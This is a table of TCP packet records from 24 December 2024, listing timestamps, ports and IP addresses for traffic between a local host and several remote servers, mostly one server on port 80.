Dec 24, 2024 12:40:02.972178936 CET	49837	443	192.168.2.5	23.1.237.91
Dec 24, 2024 12:40:02.972197056 CET	443	49837	23.1.237.91	192.168.2.5
Dec 24, 2024 12:40:03.050349951 CET	80	49828	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:03.050415993 CET	49828	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:03.077493906 CET	443	49703	23.1.237.91	192.168.2.5
Dec 24, 2024 12:40:03.088169098 CET	443	49703	23.1.237.91	192.168.2.5
Dec 24, 2024 12:40:03.190989971 CET	49828	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:03.237626076 CET	49817	443	192.168.2.5	142.250.181.68
Dec 24, 2024 12:40:03.237721920 CET	49832	443	192.168.2.5	172.217.17.46
Dec 24, 2024 12:40:03.310436964 CET	80	49828	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:04.171075106 CET	80	49828	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:04.171808958 CET	49828	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:04.310764074 CET	443	49837	23.1.237.91	192.168.2.5
Dec 24, 2024 12:40:04.310841084 CET	49837	443	192.168.2.5	23.1.237.91
Dec 24, 2024 12:40:09.175935984 CET	80	49828	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:09.176000118 CET	49828	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:15.690228939 CET	49828	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:15.690584898 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:15.809863091 CET	80	49828	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:15.810215950 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:15.810340881 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:15.810604095 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:15.930104971 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:17.686002016 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:17.689836979 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.166439056 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.285953045 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.602372885 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.602440119 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.602475882 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.602520943 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.602581024 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.602587938 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.602601051 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.602617025 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.602624893 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.602631092 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.602650881 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.602684975 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.602761030 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.602813005 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.610672951 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.610724926 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.610810995 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.722156048 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.724678040 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.794351101 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.794589043 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.794677973 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.798393965 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.798475027 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.798657894 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.806526899 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.806658983 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.806720972 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.814896107 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.814965963 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.815006971 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.815069914 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.822865963 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.822935104 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.822958946 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.823009968 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.831058025 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.831125975 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.831203938 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.831271887 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.839392900 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.839473009 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.839478016 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.839529991 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.847418070 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.847482920 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.847496986 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.847537994 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.855562925 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.855660915 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.855737925 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.863688946 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.863770008 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.863862991 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.871884108 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.871896982 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.871978998 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.880008936 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.880095005 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.986346960 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.986434937 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.986565113 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.986623049 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.987792969 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.987885952 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.987906933 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.987971067 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.992789984 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.992863894 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.992876053 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.992933035 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.997745991 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.997803926 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:18.997958899 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:18.998044014 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.002686024 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.002742052 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.002794027 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.002849102 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.007599115 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.007611036 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.007702112 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.012717962 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.012792110 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.012835026 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.012887001 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.017685890 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.017745018 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.017842054 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.017900944 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.023840904 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.023854971 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.023936033 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.026484013 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.026555061 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.026590109 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.026654959 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.031341076 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.031497002 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.031563997 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.036053896 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.036164999 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.036237001 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.042483091 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.042496920 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.042563915 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.047029018 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.047043085 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.047115088 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.051453114 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.051465034 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.051528931 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.056058884 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.056071043 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.056126118 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.059801102 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.059940100 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.060036898 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.064558983 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.064632893 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.064717054 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.064775944 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.069466114 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.069513083 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.069562912 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.069621086 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.074079037 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.074186087 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.074191093 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.074259996 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.106221914 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.106297970 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.106349945 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.106405973 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.108557940 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.108623028 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.178675890 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.178801060 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.178841114 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.178904057 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.180583954 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.180646896 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.180695057 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.180746078 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.184484959 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.184545040 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.184551001 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.184587955 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.188349009 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.188400030 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.188553095 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.188781977 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.192061901 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.192121029 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.192220926 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.192414045 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.195611000 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.195667028 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.195735931 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.195907116 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.199186087 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.199244022 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.199372053 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.199445963 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.202701092 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.202765942 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.202950954 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.203002930 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.206099033 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.206151009 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.206188917 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.206286907 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.209510088 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.209547043 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.209559917 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.209583044 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.212939024 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.213052988 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.213112116 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.216295004 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.216332912 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.216451883 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.219755888 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.219784021 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.219815016 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.219854116 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.223089933 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.223227024 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.223277092 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.226500988 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.226624012 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.226696014 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.229959965 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.229971886 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.230025053 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.233457088 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.233618975 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.233680964 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.235364914 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.235424995 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.235495090 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.235548973 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.237370968 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.237456083 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.237497091 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.237548113 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.239438057 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.239502907 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.239516020 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.239558935 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.241441965 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.241545916 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.241617918 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.243480921 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.243550062 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.243594885 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.243642092 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.245557070 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.245656967 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.245718002 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.247555971 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.247628927 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.247663975 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.247719049 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.249671936 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.249732018 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.249800920 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.250205994 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.251693964 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.251712084 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.251770020 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.253727913 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.253971100 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.254030943 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.255744934 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.255801916 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.255839109 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.255894899 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.257720947 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.257838011 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.257889032 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.259804964 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.259958982 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.260010958 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.261888027 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.261904955 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.262206078 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.263854980 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.263956070 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.264014006 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.265938044 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.265993118 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.266072035 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.266124010 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.267971992 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.268019915 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.268368006 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.268419027 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.270009041 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.270071030 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.270121098 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.270172119 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.370649099 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.370682955 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.370731115 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.370781898 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.371660948 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.371717930 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.371758938 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.371813059 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.373630047 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.373703003 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.373816967 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.373869896 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.375531912 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.375587940 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.375627995 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.375679970 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.377569914 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.377655983 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.377747059 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.377803087 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.379427910 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.379479885 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.379568100 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.379614115 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.381277084 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.381333113 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.381376028 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.381428003 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.383104086 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.383166075 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.383210897 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.383255959 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.384952068 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.385004997 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.385044098 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.385109901 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.386639118 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.386687994 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.386728048 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.386781931 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.388372898 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.388451099 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.388456106 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.388530970 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.390069008 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.390126944 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.390172005 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.390221119 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.391737938 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.391817093 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.391916037 CET	80	49868	185.215.113.206	192.168.2.5
